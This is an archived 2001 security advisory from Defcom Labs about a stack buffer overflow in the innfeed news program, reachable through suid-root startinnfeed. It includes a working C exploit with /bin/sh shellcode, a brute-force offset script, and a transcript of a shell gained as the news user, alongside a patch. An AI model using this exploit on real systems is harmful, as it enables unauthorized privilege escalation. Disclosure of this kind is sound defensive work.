Innfeed Buffer Overflow

From: Enrique A. Sanchez Montellano (enrique.sanchezat_private)
Date: Wed Apr 18 2001 - 00:46:26 PDT

  • Next message: Enrique A. Sanchez Montellano: "Cyberscheduler remote root compromise"

    ======================================================================
                     Defcom Labs Advisory def-2001-19
    
                    innfeed buffer overflow
    
    Author: Enrique A. Sanchez Montellano <@defcom.com>
    Author: Alex Hernandez <alex.hernandezat_private>
    Release Date: 2001-04-18
    ======================================================================
    ------------------------=[Brief Description]=-------------------------
    innfeed is a program that implements the NNTP protocol for transerring
    news between computers.
    
    Due to no bounds checking on the innfeed program a buffer overflow
    occurs while using the -c flag, thus rendering complete control
    of the stack. And rendering news uid and gid.
    
    ------------------------=[Affected Systems]=--------------------------
    Linux:
       Slackware 7.1 and older versions.
       Mandrake 7.0 and older versions.
       RedHat 7.2 and older versions.
    
    ----------------------=[Detailed Description]=------------------------
    Due to no bounds checking on the logOrPrint() function on the vsprint()
    a stack overflow occurs thus rendering the stack. The user then is able
    to gain news id, in wich he can the trojan binaries to gain further
    access to upgrade his priviledges.
    
    Users trusted to group id can gain further access to news uid thus
    gaining owner priviledges on the files and being able to trojan them
    in some cases. And if root runs those binaries a root compromise might
    be posible.
    
    Offending code:
    ---------------
    
    vsprintf (buffer,fmt,ap) ;
    
    Example of exploitation:
    ------------------------
    
    nahual@shell:~$ ls -al /usr/lib/news/bin/innfeed
    -r-xr-x---   1 news     news       213124 Jun 14  2000
    /usr/lib/news/bin/innfeed*
    nahual@shell:~$ ls -al /usr/lib/news/bin/startinnfeed
    -r-sr-x---   1 root     news        40796 Jun 14  2000
    /usr/lib/news/bin/startinnfeed*
    nahual@shell:~$ id
    uid=1001(nahual) gid=100(users) groups=100(users),13(news)
    nahual@shell:~$ ./x-innfeed
    [ + ] innfeed buffer overflow (passed to startinnfeed) [ + ]
    ------------------------------------------------------------
    [ + ] Found by:
    
    [ + ] Alex Hernandez (alex.hernandezat_private)
    [ + ] Enrique Sanchez (@defcom.com ... Yes is just @defcom.com)
    [ + ] Defcom Labs @ Spain ....
    [ + ] Coded by Enrique A. Sanchez Montellano (El Nahual)
    
    [ + ] Using address 0xbffff9e4
    [ + ] Starting exploitation ...
    
    bash$ id
    uid=9(news) gid=13(news) groups=100(users),13(news)
    bash$
    ----
    
    Proof of concept code:
    ----------------------
    
    --- x-startinnfeed.c ---
    /*
      x-innfeed.c
    
      Buffer overflow in innfeed being called from startinnfeed renders
    uid(news) gid(news), startinnfeed is suid root so I have to also check
    if I can manage to get root out of this ....
    
      Enrique A. Sanchez Montellano
      (@defcom.com ... Yes is only @defcom.com)
    */
    
    #include <stdio.h>
    #include <unistd.h>
    #include <string.h>
    #include <stdlib.h>
    
    #define OFFSET  0
    #define ALIGN   0
    #define BUFFER  470
    
    // MANDRAKE, REDHAT, etc....
    
    #ifdef REDHAT
    /* optimized shellcode ;) (got rid of 2 bytes from aleph1's) */
    //static char shellcode[]=
    //"\xeb\x15\x5b\x89\x5b\x08\x31\xc0\x88\x43\x07\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x31\xd2\xcd\x80\xe8\xe6\xff\xff\xff/bin/sh";
    char shellcode[] = "\x31\xdb\x89\xd8\xb0\x17\xcd\x80" /*setuid(0) */
                 "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c"
                 "\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb"
                 "\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";
    
    #endif
    
    #ifdef SLACKWARE
    /* optimized shellcode for slackware 7.0 (non setuid(getuid()) shell) */
    static char shellcode[]=
    "\xeb\x15\x5b\x89\x5b\x0b\x31\xc0\x88\x43\x0a\x89\x43\x0f\xb0\x0b\x8d\x4b\x0b\x31\xd2\xcd\x80\xe8\xe6\xff\xff\xff/bin/bash1";
    #endif
    
    unsigned long get_sp(void) {
      __asm__("movl %esp, %eax");
    }
    
    void usage(char *name) {
      printf("Usage: %s <offset> <align> <buffer>\n", name);
      printf("Defcom Labs @ Spain ...\n");
      printf("Enrique A. Sanchez Montellano (@defcom.com)\n");
      exit(0);
    }
    
    int main(int argc, char **argv) {
      char *code;
      int offset = OFFSET;
      int align = ALIGN;
      int buffer = BUFFER;
      unsigned long addr;
      int i;
    
      if(argc > 1) offset = atoi(argv[1]);
      if(argc > 2) align = atoi(argv[2]);
      if(argc > 3) buffer = atoi(argv[3]);
    
      code = (char *)malloc(buffer);
    
      printf("[ + ] innfeed buffer overflow (passed to startinnfeed) [ + ]\n");
      printf("------------------------------------------------------------\n");
      printf("[ + ] Found by: \n\n[ + ] Alex Hernandez
    (alex.hernandezat_private) \n[ + ] Enrique Sanchez (@defcom.com ... Yes
    is just @defcom.com)\n");
      printf("[ + ] Defcom Labs @ Spain ....\n");
      printf("[ + ] Coded by Enrique A. Sanchez Montellano (El Nahual)\n\n");
    
      addr = get_sp() - offset;
    
      printf("[ + ] Using address 0x%x\n", addr);
    
      for(i = 0; i <= buffer; i += 4) {
       *(long *)&code[i] = 0x90909090;
      }
    
      *(long *)&code[buffer - 4] = addr;
      *(long *)&code[buffer - 8] = addr;
    
      memcpy(code + buffer - strlen(shellcode) -8 - align, shellcode,
    strlen(shellcode));
    
      printf("[ + ] Starting exploitation ... \n\n");
    
      // REDHAT, MANDRAKE ...
    #ifdef REDHAT
      execl("/usr/bin/startinnfeed", "/usr/bin/startinnfeed", "-c", code, NULL);
    #endif
    
      // SLACKWARE
    #ifdef SLACKWARE
      execl("/usr/lib/news/bin/startinnfeed",
    "/usr/lib/news/bin/startinnfeed", "-c", code, NULL);
    #endif
    
      return 0;
    }
    
    --- x-startinnfeed.c ---
    
    --- brute.sh ---
    #!/bin/ksh
    L=-2000
    O=40
    while [ $L -lt 12000 ]
    do
    echo $L
    L=`expr $L + 1`
    ./x-startinnfeed $L
    done
    --- brute.sh ---
    
    ---------------------------=[Workaround]=-----------------------------
    Defcom has issued a patch for the vulnerability:
    
    ---innfeed-overflow.patch---
    210c210
    <       vsprintf (buffer,fmt,ap) ;
    ---
     >       vsnprintf (buffer,512,fmt,ap) ;
    ---innfeed-overflow.patch---
    
    The recomended action is to upgrade to version 2.3.1 wich is not
    vulnerable to this attack due that you have to be news to execute the
    script.
    
    root should not run any of this commands as an administrative task
    trusted users should do this.
    
    -------------------------=[Vendor Response]=--------------------------
    inn-bugs, Katshiro Kondou, and Russ Allbery responded in a fast
    and swift way, answering questions.
    
    Thank you to him and all the INN team for their time and responses.
    ======================================================================
            This release was brought to you by Defcom Labs @ Spain
    
                 labsat_private             www.defcom.com
    ======================================================================
    



    This archive was generated by hypermail 2b30 : Wed Apr 18 2001 - 09:50:51 PDT